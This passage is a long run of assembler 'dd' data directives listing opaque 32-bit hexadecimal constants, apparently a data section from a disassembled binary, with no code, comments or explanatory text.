		dd 0E92299FAh, 23B96D0Fh, 0BC286B40h, 465C20A5h, 0BCCBB5CBh
		dd 9E493CE1h, 76CABE1Fh, 7DECEB53h, 471D88A1h, 9CEA3D76h
		dd 625A0A60h, 0EA94341Bh, 3A3ED16Fh, 62DC5A5Eh,	0CD745B49h
		dd 0CDA9A7D2h, 9D366C4h, 595979CCh, 2970BFC8h, 2548C716h
		dd 8B50EB10h, 41976FA8h, 5A2FB78Eh, 1B27366Fh, 36C45Ch
		dd 6F9BA30Ch, 6CADFDD6h, 0A1EC1850h, 1CEF2048h,	6E5E75DEh
		dd 0E9A25EB2h, 0A8649EDBh, 672EF0F5h, 7EB5B063h, 7B71A941h
		dd 1F727DDh, 84D3FC8Ah,	0C00E4C29h, 656C5A00h, 0D6406F70h
		dd 22F5FEADh, 0BE806B1Ch, 0E83B73A1h, 9EC09F77h, 0D096DB24h
		dd 82A1FD99h, 0B4DD3E10h, 0EC5C75DFh, 2ABB6437h, 0AF318F63h
		dd 5921E91Fh, 3F0055A8h, 0B1205A7Bh, 0B8D9D8E3h, 0E5BE185Ah
		dd 36897358h, 7E85A495h, 3D288A8h, 73CB948Eh, 0C1D732EDh
		dd 27585380h, 3A217A81h, 0CD410613h, 0E977EC97h, 3D455C8Ch
		dd 0D71C7EDBh, 74B4949Fh, 76D69457h, 0AF8CF075h, 730EF245h
		dd 2996786Eh, 15F127DAh, 70234081h, 0B497DABFh,	7E95BA2Bh
		dd 0F0D9E010h, 4173C7C3h, 26D1C5EBh, 99C77EFCh,	22A28A30h
		dd 5CBA9C0h, 43E7B14Fh,	9A91F3A2h, 5DBAF24Ch, 77B3AE14h
		dd 1BFB3EDAh, 9EC56D95h, 90163CAh, 0A935AECFh, 813F9BC2h
		dd 5AE78491h, 8D806167h, 0BF629C67h, 0E409243h,	0FF921DABh
		dd 886FAE4Ah, 0BE69D273h, 0EC670E38h, 77D96DDEh, 2441F974h
		dd 0B73C8660h, 1E916Ch,	0D2F2E538h, 2BE2120Dh, 0FBE58E34h
		dd 223463E2h, 8E89FA95h, 88E6D2DBh, 63DC908h, 580D3FBBh
		dd 0A6E64D7h, 5F6C5AA0h, 0C3E49B0Ah, 0FB5D286Fh, 0F7F59001h
		dd 6D6057B4h, 356844EAh, 2440DCEDh, 25B2D4ABh, 765EEBC0h
		dd 327A7144h, 105A7540h, 23B6BD93h, 710184BAh, 0EC27A1BCh
		dd 0E8CDCAF3h, 18720C62h, 2C5EF387h, 400F7ACAh,	35DAADC6h
		dd 0CF569C28h, 39B9DE94h, 0BB3C8755h, 775203D9h, 60526339h
		dd 0F3C51654h, 0BEB066EDh, 3EEBAE37h, 6B1C55B1h, 2828C06Ah
		dd 0F4CF5E0Dh, 11A4DBCBh, 0F7E2160Eh, 0C39CC48Fh, 3B85A963h
		dd 4FD99FB2h, 1C1DBB1Eh, 0C324ED1Fh, 720C9AD5h,	136FF3E2h
		dd 8E24EED7h, 0AC7F29BFh, 0A0AD0D56h, 5C896DF6h, 0C1DC2A90h
		dd 5AA3A830h, 9B8D18BDh, 6272DA87h, 0C38F3884h,	0B62A9801h
		dd 61F24C5Fh, 3D439D86h, 0EDAFF4F6h, 1F24FCB7h,	594838BFh
		dd 7404CB8h, 264C1C41h,	0FEA9917Ah, 1627BEA5h, 0CBDABAF3h
		dd 0E802AD32h, 0A69C3166h, 0DEEFB374h, 0F39B6D9Eh, 7566B504h
		dd 48249D3Bh, 463FE0BEh, 0EBFFE108h, 8356A6AAh,	0C7255E86h
		dd 15A55811h, 1BAEDAABh, 638D7F92h, 0A9840E9Ch,	0E9A8EF0Bh
		dd 3E6217FBh, 9F0C9A79h, 0E76651F1h, 0C2FB7C13h, 0CF383F9Ch
		dd 0C9657134h, 31C8A936h, 0DC2250F5h, 0F6C7D410h, 0CE303E6Fh
		dd 52862C33h, 0FAB4F2B6h, 3FCD8D4h, 536ADFEDh, 0B59616EFh
		dd 64BD154h, 8806B70Ah,	969A149Ah, 0DC20681Dh, 73D8EDA9h
		dd 0D0614036h, 0C915CCD8h, 9D31F88Ah, 0B0FB65B9h, 0E261FBEBh
		dd 2EE5CBA0h, 6118048Fh, 5603598h, 0BE34955Ch, 12CC6811h
		dd 5A8E57ABh, 2A1630B4h, 48810462h, 1EE3F8Ch, 65758106h
		dd 9BEB0463h, 4ECEA48Bh, 0A0BB956Fh, 66458746h,	914DC2A9h
		dd 8AD17FE8h, 0CF323D13h, 0EF152949h, 0D893EDBAh, 38F5FFEh
		dd 1ACAA1CDh, 0F318F1A5h, 0B30FE520h, 0C3AB7FC5h, 85165A36h
		dd 14A4A964h, 0BFD43D09h, 6A5DFF9Ch, 0D0BE9A3Bh, 4CA8B473h
		dd 0AAFB8B0Ch, 0C90BCE65h, 6E852407h, 0CF14B43Dh, 0E927CB51h
		dd 585A36E8h, 23686A35h, 8238CACCh, 38B5471Eh, 0F2B4D363h
		dd 5C510E7Bh, 920E4333h, 66C01C2Dh, 2048EF9Ah, 6265C058h
		dd 0F5C258C0h, 0A55C3F8h, 15311A2Bh, 55D0E802h,	0A644541Dh
		dd 21C02179h, 741ABE4Ch, 0E9644605h, 78A78290h,	0E11F541Eh
		dd 0A31276E3h, 651768F9h, 0A08C2C8Ch, 892A1AF8h, 8CEC6CFCh
		dd 9B250665h, 0C72551BDh, 37B74382h, 0C0192264h, 5465741h
		dd 222D5635h, 0B0ADD11Eh, 0E5E5D83Bh, 76111CE5h, 49925871h
		dd 0F4B5CA4h, 0BF2C436Ah, 22DF5E5Eh, 7B5DCBF0h,	0E37F3396h
		dd 8A87B6E0h, 0D9487F94h, 8E83D517h, 7884F9C2h,	900AA0BCh
		dd 76805070h, 0EC701793h, 272164F5h, 1871E7A9h,	7DD14EB6h
		dd 2F8DE75Ah, 7479C6F7h, 67EBBA2Fh, 5369B3BAh, 0DF1C62Bh
		dd 9E249CFFh, 9FDB94CFh
		dd 6FBD7D8Fh, 8294B347h, 2DBC9E3Ch, 31B78837h, 45132FDCh
		dd 0B674FF23h, 8E15DE61h, 15D9FAD3h, 0A14E84F2h, 54966C4Ch
		dd 3457A1CAh, 0D1B50607h, 0DC82F8BCh, 8DA7D4CFh, 0C647B7DAh
		dd 0D36A2B5Fh, 5D221B69h, 0C6E20EBDh, 52FE438Ch, 486EFBCCh
		dd 0CFDB82Eh, 0A1CAB05Eh, 0D63A0B86h, 0D6F90ACh, 727813B4h
		dd 3F0F9BA1h, 0E9C140A9h, 66CA67C7h, 0CE74863Ah, 0A36418AAh
		dd 0BB3864F5h, 53D67E24h, 7C650C44h, 0AB5E5ED6h, 28FE0BF6h
		dd 0CAD37E41h, 9F77A9D6h, 0F8EC6AEFh, 2802317Bh, 7D415D95h
		dd 0A24E9642h, 952F05D7h, 31B3FC23h, 222C50EAh,	6278AA7Dh
		dd 0F12AB8D3h, 43BA7E37h, 85560864h, 3D45D00Fh,	467114FAh
		dd 70B429AEh, 0FE209D36h, 84C7A9DAh, 8F17E956h,	81302E00h
		dd 0E8BF5EFCh, 0E4B5975Ch, 62195456h, 2C00255Bh, 0AD119322h
		dd 0F4C9D273h, 0EA10A486h, 0BC03BB7Ch, 1FD8CD55h, 0AFDCE66Ah
		dd 0E4C55ECCh, 0F9D5F1C9h, 47BF41C1h, 0F2F403E4h, 7EA6BFEDh
		dd 0FB8AC912h, 0E13E76CCh, 7684779Fh, 22601ECCh, 0E57F9386h
		dd 0A2A82FB5h, 9A49B022h, 60C2040h, 0E10043FFh,	0D9D844D4h
		dd 769F23D4h, 0FC438C3Fh, 4A6F5D24h, 0BC47CD03h, 72C5B94Dh
		dd 0D1DE3EA0h, 6D766209h, 0CD461B6Fh, 0CADBB238h, 18880168h
		dd 85A675C1h, 0FB8BCDAEh, 127D19D4h, 7AB9EABEh,	870445D5h
		dd 0DA8ED261h, 87A9F68h, 57A29B83h, 0BBB4F74Dh,	0F97E009Bh
		dd 0BFFA1DE7h, 2DA26BABh, 0A040C534h, 7CFF350Dh, 512225FCh
		dd 5AC6723Ch, 37D65196h, 499340A5h, 0E204C2B1h,	0E3346628h
		dd 0F7ECA509h, 0BCF262FBh, 4396719Fh, 73C1EF01h, 0A348E4BBh
		dd 0EE8EA61Dh, 0AF5C0257h, 75BECBFAh, 9A0321F6h, 0C917D721h
		dd 652FE201h, 54E6E7B2h, 0AD55F23Dh, 0E54D955Ah, 0BE04764Fh
		dd 4979CA73h, 0BBFBD361h, 0F8FEEACh, 65DFC467h,	0FB3E8795h
		dd 822A97F7h, 7A3E2B9Fh, 0CF898AA9h, 95DC04D2h,	4091694Eh
		dd 60A4D3B2h, 89F32C60h, 0AED2C5FDh, 21038837h,	8EF74CFCh
		dd 73B4A971h, 0D843F8A5h, 0C337D52Ah, 0DE757EA3h, 0CD7F1DFFh
		dd 74F0472Dh, 3D99AB43h, 0C837DDBEh, 0CB4DF7F4h, 1C38FCADh
		dd 0A6C38A40h, 0BFB1FEE9h, 2F35CCAh, 0C5777CC8h, 0C3775E1Eh
		dd 0A7405CE4h, 0C563CCB7h, 887E2Bh, 0A61F36Fh, 8FC8701Eh
		dd 0A98A3A14h, 94908D18h, 555CCF09h, 3D76CD04h,	390B3Ch
		dd 0EC32AE86h, 0D52934D8h, 0A857F743h, 514414E5h, 0D738EE2h
		dd 0B23FE037h, 0F3966A62h, 38A1DA13h, 0CAF56A8Dh, 0FB84D58Ah
		dd 87ADF37Ah, 0A7E3D77h, 6DCD8761h, 0F5430BB9h,	9C5E688h
		dd 5448C9EAh, 0EB483862h, 0C4C227CAh, 0CAC1003Fh, 0AF196A05h
		dd 2445F797h, 79549C6Ch, 39B79F53h, 0EA9A82CEh,	0A4095BDBh
		dd 30222268h, 4BA09956h, 9834B395h, 8F3AA293h, 0D479B0Eh
		dd 0EFC54A46h, 7FBE9EB2h, 32D7DA22h, 4D6876EEh,	945E4D60h
		dd 26B10C6Bh, 346E8740h, 49D76ED2h, 760E89B9h, 1F6FB916h
		dd 862B3110h, 41D45E92h, 0B22ECF44h, 8EE85F5h, 9C5F3936h
		dd 0E8D57455h, 83DE25E2h, 0CE3FD329h, 7FBE5BFAh, 0A441FFEEh
		dd 0FBE02307h, 0E7D5BC40h, 5BBB784Fh, 5A21BC78h, 0A8B22746h
		dd 0B7F9AF57h, 7F0F6475h, 77A5272Dh, 8EEB61BCh,	0BF4BD624h
		dd 0A83D587Fh, 517D13ECh, 35AD4C03h, 0F65E914Ch, 4052A2C5h
		dd 0C54A60ACh, 80BD73DBh, 0B4107D34h, 0FE5C78CDh, 295641F9h
		dd 0AFD921A6h, 5C2BA86Bh, 0E6127BAh, 0B759A48Bh, 0AA304C40h
		dd 4E5F694Eh, 0BC6C79AEh, 82C9D04Dh, 52843D28h,	0E9FAA184h
		dd 0DC859893h, 65AD3CF0h, 43B1E3A5h, 74733781h,	323CC04Eh
		dd 8CE205EDh, 86DE2625h, 9B73DB68h, 6E2D07BAh, 0F2F53AACh
		dd 0E0054634h, 0E5C81D0Ah, 5921419Fh, 7250D4CBh, 53B29E36h
		dd 0E15667F8h, 29AAE63Dh, 0BCA59CCh, 1B401F8Dh,	7F630526h
		dd 1A2309CEh, 0C0DAC6E5h, 70B592Dh, 10DB124Eh, 17DCFB51h
		dd 1DA280C5h, 62F6E755h, 3C9073C4h, 0D656C58Dh,	432A9068h
		dd 8F58934Bh, 29C6BF9h,	0FDE2BA6Dh, 77A7DF4Ch, 0CD3888EBh
		dd 0E410CA3Ch, 0EFDFD3D8h, 9EE404EDh, 94FBD475h, 0A707E708h
		dd 4841F189h, 0ED19053Dh, 5330A5CCh, 8A5DDA05h,	41A79472h
		dd 0CEA5BFD1h, 893BFCFBh, 0C0C859B7h, 94F7ED57h, 677693A7h
		dd 0D5115340h, 90F44A1Ch, 5EC014DDh, 0D3AAC3B0h, 2DF927B7h
		dd 59577C43h, 39407E25h, 61EB352Bh, 401EE49Dh, 0B30B270Ch
		dd 0C066FCE0h, 0DC289AF5h, 7F809DC9h, 0DCC8E185h, 3EB52E43h
		dd 5D54E913h, 6C76E926h, 0F7BAD6BDh, 983E47E0h,	0FEBF9343h
		dd 0E9C956FBh, 0F471C2Dh, 0C0688295h, 94362F44h, 19D60F6Fh
		dd 5D6CB6DFh, 1058364Bh, 0FFEF106Eh, 97DD6266h,	0DED503EFh
		dd 3DFCB145h, 43EE47B8h, 761479DCh, 0FB81F921h,	1D5A7CA6h
		dd 232C04Eh, 7A7A0DFAh,	0A0C337BDh, 1D3C6CABh, 5557D299h
		dd 0DE95455Bh, 877830AEh, 5AB90494h, 6399BEA8h,	12F75803h
		dd 88D2CAF1h, 39849467h, 258480BAh, 741E869h, 9F90A624h
		dd 0EDB0FDB3h, 60F35B30h, 5D2E928Ch, 0BF3B815Fh, 0F8D839D8h
		dd 0F4E14423h, 31055324h, 0F005C2D3h, 1FD42161h, 54821329h
		dd 0A0C27F51h, 236D6DCFh, 49C2DF8Bh, 7518308h, 15AA3AFFh
		dd 809BFD67h, 6809205Eh, 0AB3E2F20h, 6E3BEA6h, 6F22BA63h
		dd 0BBC60C75h, 7D12BDBFh, 0E3880D9h, 0F8CFC04Ch, 0F9191515h
		dd 7211CA15h, 28FA2C9Dh, 0ADAEA6DBh, 0B8B6A65Ah, 0D6990A8h
		dd 0DAD71174h, 7B55082Dh, 4122B5D0h, 0F5D9E202h, 85186E17h
		dd 0DEB84DF6h, 0B41F300Ch, 409E2750h, 0E405763Bh, 924AC936h
		dd 3882970Fh, 0C7D9FB10h, 0EB69DFEBh, 94B6BE4Fh, 8BB2253Bh
		dd 56CC389Ch, 0C7FDBD38h, 4B32ADBh, 1B2EE22Fh, 0ABBFEBBFh
		dd 6C5DC5B2h, 7E34B1FBh, 3CC7AAA1h, 20880171h, 0DEFE6869h
		dd 0BAEDE767h, 9F0A4E9Ah, 0CEE2CA31h, 0F66E6B28h, 5BE06471h
		dd 0F2906BCDh, 81018A24h, 751B7772h, 0FB210A98h, 0D2CFCAE2h
		dd 8033F1E6h, 187D4E6Eh, 45C7A4B3h, 4CC3860Fh, 91383530h
		dd 7DFC6D6Fh, 0D36A98A4h, 355AC2A8h, 652B453h, 0C7125081h
		dd 0A6831195h, 0CDA55CCh, 3ADE58D7h, 0CE17A448h, 4AF5B60Fh
		dd 0DF19BD68h, 5C06D86Fh, 14D4081Eh, 6AB428DCh,	0ED9F38Ch
		dd 0AA87E760h, 0B075FA26h, 0A21B9DA3h, 555878F8h, 81BECBEh
		dd 0B6C8DBEBh, 0E6F8865Ah, 33415FC9h, 91E05FA1h, 33C8D69Fh
		dd 0D32B5975h, 0E3E4E9A2h, 4A68D927h, 69E7AFB6h, 408DED8Fh
		dd 0DB16C3D4h, 0AE1CA012h, 0F852B1A1h, 8E6D745Eh, 9D84FA8Ah
		dd 2F483F7Eh, 6D1830F6h, 10B57CC1h, 6CD5FDB0h, 0C18C743Eh
		dd 18EE09D3h, 0B9FBC4C3h, 4524B0Ch, 1B5CEE97h, 0ECC606B2h
		dd 788EF563h, 0D0970EECh, 0CC7737B1h, 906580CEh, 0E7145080h
		dd 90C35DDDh, 9D7BA73Dh, 3C7FEC91h, 5956FC6Dh, 183B0E9Fh
		dd 0B6C6DF7h, 0E39C572Ch, 0BAB1A27Bh, 379A6F2Ah, 4886347Fh
		dd 1DB3D859h, 0B3B7F7B7h, 0BE85C943h, 0A709A246h, 8D41757h
		dd 28AA9314h, 9A23D762h, 3BEF3B9Ah, 0A7139DACh,	0EF2DC9E2h
		dd 677F4179h, 0C665594Fh, 420B1ED4h, 6C45452h, 0F4395D3Fh
		dd 1EF354F1h, 80A08887h, 0B1AFB954h, 86E5A03Eh,	0B75FB75Fh
		dd 605ACAF7h, 87A50D17h, 23131B1Ah, 19F57C1Ch, 77CBE12Dh
		dd 24D489E4h, 0CEAB18F8h, 0BB086D23h, 0FBDC1E98h, 709D39F9h
		dd 2DEC09FAh, 0BCA8EA7Dh, 1E3C5150h, 51741BC7h,	0A8E0FB41h
		dd 671A5548h, 0A4BC3908h
		dd 0C0FD1231h, 8B7AC0E8h, 0D3DDA61Ch, 5FE6DEECh, 0C5F8D499h
		dd 8772FDFFh, 9A88EFD6h, 6302EFC1h, 24519FC3h, 0CE2207C2h
		dd 55C17652h, 19EE3152h, 9E209D0Bh, 0F749E1CEh,	0D544CD4Ah
		dd 804CC4F8h, 0DE1CEC1Fh, 0E368957Dh, 89EB6038h, 76475DD8h
		dd 0E9FC09F8h, 421A4D7Ch, 931FE4BCh, 0E90465Eh,	0A5E4B3B9h
		dd 4EE72D86h, 0B5B5481Dh, 0D7559BCAh, 4893CBD6h, 18AE0E52h
		dd 4FC089DDh, 0FB0B33ECh, 1CD008FCh, 21D4B15Bh,	0FAA95BBDh
		dd 0C5A36FF4h, 0D45E7F59h, 0AB496A00h, 0E6B19545h, 3D74A3A3h
		dd 5DC6C2D1h, 2AC64AFh,	50DAB866h, 0BEA08074h, 1222AFC6h
		dd 8CD16B75h, 0FD7C33F1h, 0EBD98BB8h, 39E41E6Ch, 363D2D70h
		dd 2C6DFA88h, 0EED740FAh, 0FC76A596h, 7E270AF2h, 7B933E96h
		dd 63411C9Eh, 0E05C32BAh, 95BEBA8Fh, 8FF32022h,	529AC08Eh
		dd 63128891h, 26690EC8h, 91808C40h, 75920D0Fh, 0C9529C56h
		dd 0EAAA6628h, 37F88F39h, 5D07C3DFh, 0EDCB3D7Fh, 21A78082h
		dd 1A4B5AEAh, 0BD6BDD9h, 0E61094A2h, 2C6F5B5Fh,	2DDF0E22h
		dd 0DC88EBAFh, 842E71B6h, 0CE0F4976h, 88B4B41Dh, 0E30583C4h
		dd 0D411B34Ah, 0C5A3943h, 0E869B6C4h, 0F3D527C9h, 9C0814D0h
		dd 0D302F7EBh, 7D4CFC87h, 3DED9C46h, 0D62454Fh,	0E57B8B36h
		dd 0B79B6856h, 354532D6h, 5342A501h, 332FF79Eh,	0F811FB0Bh
		dd 8749303Ch, 0E7DC9C8Eh, 0C537A03Ah, 0AE93855Eh, 11F3C37Eh
		dd 0F523C96h, 99085901h, 0D2BC90FEh, 894340A6h,	9A5D7A4Dh
		dd 7658EE17h, 4D90AA67h, 3128FED3h, 0D2B515E2h,	0B4BD2EB5h
		dd 343DC06Eh, 7F2DE457h, 1C145D01h, 12E6A8CCh, 74AD9BEDh
		dd 0D7B45C4h, 0C8D7CF31h, 2B2706A3h, 31CD6567h,	0B5DCF210h
		dd 5432F868h, 0A0417089h, 0A8047464h, 0D55B0C8Bh, 0DD7A8EB3h
		dd 96C41781h, 2354AFC6h, 6AB8B0E3h, 0A38A9CA9h,	0B4F1B10Fh
		dd 150427DAh, 15A286BEh, 0A03BE42Eh, 86EDD68Ah,	0A7192A3Ah
		dd 0EBD7382Fh, 0C1C34FFBh, 50AA28DEh, 0A211E022h, 0D1A1F452h
		dd 79386FA6h, 63982B6Bh, 13314C86h, 6813A6E5h, 236AC87Ah
		dd 85FFE1F4h, 5DFC5300h, 0F6D6ABA5h, 921776F0h,	664F5292h
		dd 6530A721h, 821177BEh, 5ADDF043h, 847C246Bh, 5F2170D9h
		dd 92C433E9h, 0C011C134h, 2972C2EEh, 5DCA109Eh,	7D85C507h
		dd 4611C1E3h, 0B5E7FCA4h, 0FAE5C456h, 7AC698C8h, 0EF2135A4h
		dd 17FF64A7h, 1C52A928h, 0ED9BFAE1h, 0A2BB6D95h, 228B8B8Dh
		dd 633EAFC1h, 696E45A2h, 0BA43856Ch, 0E42B9A47h, 0E2437C1Eh
		dd 2F397066h, 6176C3E3h, 74AA10BBh, 76F673CCh, 5103A26Ah
		dd 9C2B29FFh, 0B96FBB7Eh, 503BA2B1h, 0D2B04203h, 0C6EF1836h
		dd 0E994FBD2h, 499DBD04h, 5FF7A335h, 33B3DD8Bh,	133EC8E5h
		dd 0DE05FE03h, 0FBEEA814h, 494ACBBCh, 262CA143h, 0FBBF5925h
		dd 0E2AACE0Eh, 86D12110h, 4D46491Dh, 0C8881B92h, 943813AEh
		dd 8D01D6F3h, 5632322Dh, 0B645BB95h, 87FFC2EAh,	8C4A341Eh
		dd 0A2AFF3B4h, 93BD5B21h, 0B3D21808h, 79020526h, 6A48A4BCh
		dd 368DA099h, 0DA718EEFh, 67FDC533h, 3F99452Dh,	802E7217h
		dd 843066A6h, 60981519h, 5ABFCFEFh, 0DD029C2Bh,	3FD17158h
		dd 54AAB1B9h, 4C1B871Eh, 0B6EC3106h, 0B88D93EDh, 0BFC95423h
		dd 7C008574h, 9F6850FBh, 0F4237840h, 9E1E2188h,	0AE2D539Ah
		dd 0C6BA24EDh, 985CA0F4h, 2B037EEDh, 0FA0DFFA5h, 493DF026h
		dd 0AEB9A32Ah, 91D608C1h, 6F8271B9h, 5D3CCB4Dh,	0DB7F7492h
		dd 32BA5DD1h, 69142661h, 0B357BA01h, 0E3550755h, 0D4F61041h
		dd 0D066B6AEh, 785E6283h, 24364272h, 0E7150056h, 0DA34874Dh
		dd 0C8BC6F13h, 5D67A19Fh, 7C27DB48h, 0BFBA0BAEh, 16EC1561h
		dd 0DABBF8C3h, 17C33F8h, 0D49FF540h, 8D4FDF5h, 2B867E28h
		dd 22CC47Eh, 41C25142h,	0D6C7B55Ah, 27C06D11h, 5693E2D5h
		dd 705C854Fh, 6F82C344h, 13A0C729h, 0A37CE49Fh,	0EE53F52Ah
		dd 0D9549923h, 8F87DDD6h, 91D307D2h, 0EF300D3h,	0DAC33DCEh
		dd 94A8FDE1h, 95D292A8h, 6B88CCE0h, 0D927E49Ch,	44CD4CDFh
		dd 0BBFE56CAh, 5833D25Ah, 4A1E3B68h, 4C2B749h, 29DD7B99h
		dd 5EC11C33h, 0B9FBF7Dh, 21C7C981h, 0C477ABFAh,	963AC379h
		dd 0DB96998Ah, 3ECDC29Ch, 0B52A4DADh, 549A51A9h, 0A60DEB11h
		dd 77934379h, 7570C856h, 15AB193Ch, 80BBCE0Dh, 843A0387h
		dd 0DDEF9509h, 570B0ED3h, 573B80F0h, 0D2D67C62h, 0DB2A9CB4h
		dd 0FE084A14h, 0D5F4BA98h, 43DC249Ch, 9D2629DCh, 96C2C157h
		dd 959E4D2Ch, 355D1B28h, 4713A02Eh, 0AC1777BBh,	0C3EAEBD9h
		dd 3684E737h, 41E172ACh, 99B923Ch, 33EBD024h, 3D438F77h
		dd 0D2B05B5h, 3863A8DCh, 186CD55Ah, 0AB7C9DCDh,	99727735h
		dd 38B86EBFh, 28A16FAAh, 5C6AD2AFh, 91AE26B6h, 0CF3EF26h
		dd 58A15C05h, 63F67326h, 0C1D323D9h, 55E70CD4h,	0F3F3ED8Ah
		dd 8C791986h, 88124477h, 1735B191h, 3A00E0BBh, 0CFA93C8Ah
		dd 0F23BDA87h, 612985A0h, 941C66Fh, 0E6A59493h,	89BB8798h
		dd 0F9823C9Fh, 9309EFE1h, 1E93ED41h, 7E13826Ch,	2FDB1262h
		dd 16B9E209h, 0F05FAFE5h, 4600ABD7h, 90868A78h,	0EC3A3DE5h
		dd 0A02FEACAh, 28E6464Ah, 58A7AAB1h, 4C299CA8h,	0E3ADD23Bh
		dd 7BDEB714h, 591AEF7h,	1C46DFA4h, 78125E80h, 5EA5A764h
		dd 6C655DB6h, 77B51F87h, 0FD1F86F6h, 379AF3D2h,	7EF0FB33h
		dd 9FFC2E5Dh, 81584D4Fh, 0AB7A9417h, 8B330975h,	7B86E3F3h
		dd 83B715Eh, 32E3EAF1h,	0C456BD7Fh, 32651C2Ah, 4A2BE1DCh
		dd 0F516D9F8h, 98BEE067h, 23BB9ACEh, 624960E1h,	0DC29EC51h
		dd 37362E90h, 1D5AE475h, 74D51211h, 761CAB9Ah, 7858276Ch
		dd 0FF7F2525h, 931E6E40h, 2F102FE2h, 791D0CC5h,	914BDE1Ch
		dd 0F78B38F8h, 0CB241F55h, 9DF21DBFh, 5D6D9BBAh, 0FC7DEBBAh
		dd 42892BF4h, 0A787B9A6h, 3D321BC5h, 0D8B346BCh, 3CDEA449h
		dd 498199F4h, 0B241459h, 0F6A22672h, 0B6F8B89Fh, 1FF5D430h
		dd 309ACD3Dh, 25D64DAFh, 83116D1Ah, 0F8404D0Eh,	1DFDD35Ch
		dd 0F30E69CCh, 1343A33h, 32254805h, 0B94489EEh,	1EC9E0F4h
		dd 2F566AE4h, 754D4678h, 97ED6F32h, 35504F81h, 0E776E8AFh
		dd 97E2BB00h, 0E86E6F2Eh, 0A0E8F297h, 0E4A3CC70h, 94D0CB9Bh
		dd 0D61A2D9Fh, 0A33B3B86h, 84B55AC1h, 7E2D2683h, 5D300F9h
		dd 9D83B6FAh, 541C357Dh, 0C84C3841h, 0D7246529h, 5189DA2Bh
		dd 879C7C76h, 78122ED8h, 0E7B78D9Ch, 95449B2Dh,	0A445BDBFh
		dd 38477951h, 0EDE05866h, 0A04A3F32h, 4426F3D2h, 90E33015h
		dd 3EE39C9Fh, 53D9171Eh, 9DCEB8B7h, 0BB2C4B4Eh,	0A90A34E1h
		dd 3056353Bh, 7A302557h, 0A0BF35F2h, 1632D152h,	4401C456h
		dd 0EF43E59Eh, 4F3F1A96h, 96658C85h, 12DE939Bh,	30E4D9D9h
		dd 75CC51D8h, 38F0AA86h, 0E358E674h, 4945CBE8h,	893AF15Ch
		dd 64D37E8Eh, 8E26BD90h, 0E7A65590h, 0B115366h,	5F522617h
		dd 0F526A2AFh, 9F41D2A9h, 0E9D12F57h, 6F38C503h, 9B7B91F5h
		dd 0F321FB25h, 0D84360A1h, 49A2DE6Ch, 0EC791FBCh, 9477D655h
		dd 4321160Fh, 0A296ACE0h, 4C71DE62h, 580D6A41h,	0A6A125BBh
		dd 5AA9E9B8h, 14CD551Ch, 0D0DA5A24h, 469DF094h,	3A42E7ADh
		dd 57E31845h, 0F7009C46h, 62A7E364h, 0FCAF0D0Ch, 0BF0384E8h
		dd 74EF8B58h, 51133F67h, 1062D4CDh, 98263691h, 0D1D7FD15h
		dd 0ED2E2A00h, 3D5BBAD8h, 68B38F2h, 0E1667AD9h,	4BDBB560h
		dd 0C09ACA98h, 73F8F07Bh
		dd 0E16DFE70h, 0E33D0114h, 191362E4h, 5AE0C324h, 0E1795104h
		dd 0B5E70F54h, 0E476B6DDh, 0FA0FCFAFh, 35EE0963h, 0ED8FB377h
		dd 9DB9E692h, 751C58BBh, 0C56518FEh, 2B491214h,	0CF791399h
		dd 6AE5CD79h, 0E26D8FDEh, 0FA93AB25h, 701E2AD1h, 0C2D01B0Bh
		dd 2491BCDEh, 29A4B331h, 0B11BA6C6h, 0CA2ECF8h,	8B795512h
		dd 1ADA5B6Bh, 22FD761Ch, 585C240Dh, 47ABDCB4h, 34EF496Ch
		dd 0A661AB3h, 213E4002h, 11AC3D29h, 96472BBCh, 8AE8EC38h
		dd 798DA008h, 0D983F8ACh, 883F9EA6h, 8A266A43h,	0FD46DEE0h
		dd 3B00DD9Ah, 8EE7F00h,	4390B97Bh, 20E01324h, 0C1AD54F2h
		dd 74506E2Ah, 0AC74736Ch, 0D45C8C7Ah, 0EBF48447h, 70F3BAA0h
		dd 1E0E896Bh, 51F75670h, 0E85C19F7h, 1616FE29h,	0B988C976h
		dd 49A89E78h, 7576A091h, 7463CC00h, 53A09673h, 5993844Fh
		dd 0C3D3034Ah, 67C82645h, 0FA64C254h, 50CE2928h, 9665C5C2h
		dd 504B8BCEh, 0EB0B79B5h, 0B95C8A2Fh, 0CAE7D776h, 8C66BCB4h
		dd 0BDCC4A80h, 0B4FBAE1Eh, 292712BBh, 0DFC46E42h, 0C41052D7h
		dd 680529C6h, 490578CFh, 0B950BBDEh, 1665EABEh,	8B7AC032h
		dd 0D7BD6C41h, 459FA6FCh, 0DAD7EC3Ah, 4237B99Ah, 9040050h
		dd 0EA7A6238h, 2A82B712h, 7423F055h, 76D680F0h,	0A9A040D8h
		dd 3AAE3B0Bh, 86CD3E66h, 93E8F8C9h, 0F60A0CB4h,	6AC3B789h
		dd 3D1269AEh, 115445EFh, 404286FCh, 0AE867A80h,	627C846Ah
		dd 0F8BBE80Eh, 4B0B9A35h, 814A412Ch, 0CF5F263Ch, 9763B3D9h
		dd 80880694h, 0C1297FC8h, 221F8769h, 0BCD2A499h, 0AB68152Ah
		dd 0A04BF6EEh, 96BADA8Ah, 3CE581EAh, 1F9496A9h,	4F67FC78h
		dd 379A968h, 72A406B0h,	3B641ED8h, 4D204387h, 1B05034Fh
		dd 912DE051h, 24A6E2A6h, 0C6F26FEBh, 6481AACFh,	0E1259B1Bh
		dd 0A5727F73h, 0F2593C8Fh, 4714A276h, 2123639Dh, 426734B0h
		dd 0CF378916h, 0A6E236B4h, 0BA147D10h, 5C9C9159h, 0EF5B3DF4h
		dd 58183766h, 3AC8CF49h, 0A6990617h, 6144DFD6h,	6B5B9A66h
		dd 0BD58917Eh, 0EDEFBC7Bh, 0BE4F68D5h, 0B52AA421h, 287F0876h
		dd 0C8DA481Bh, 0EC854593h, 53C76D42h, 26C0303h,	30219FD3h
		dd 4AE0D679h, 0E3D0992h, 182D4DFDh, 94373BCAh, 276712DDh
		dd 9A8B99C5h, 0DDBAE4E4h, 4C1F7950h, 6A0EA1A1h,	2CB612B6h
		dd 84E1BEE9h, 33B8A1E4h, 0B048A5A7h, 2208B2Fh, 2555F09Dh
		dd 0EA5DAEBBh, 0BD6F7D7Dh, 0D0113C4Bh, 0A0A31CC0h, 88D15F69h
		dd 0DA7E853h, 0AADE1E0Dh, 0C9C488C2h, 0A39F203Ch, 0C7C9EA88h
		dd 68ECF93Eh, 5CA9C59Fh, 3CC815B4h, 8E2872F9h, 804FE88Bh
		dd 0D2880585h, 0ECE27D90h, 0DFA889DAh, 0F120603Dh, 1959F3F9h
		dd 0DC750F35h, 0D2012BF4h, 668E44B7h, 3F0CE8AEh, 0C41CED08h
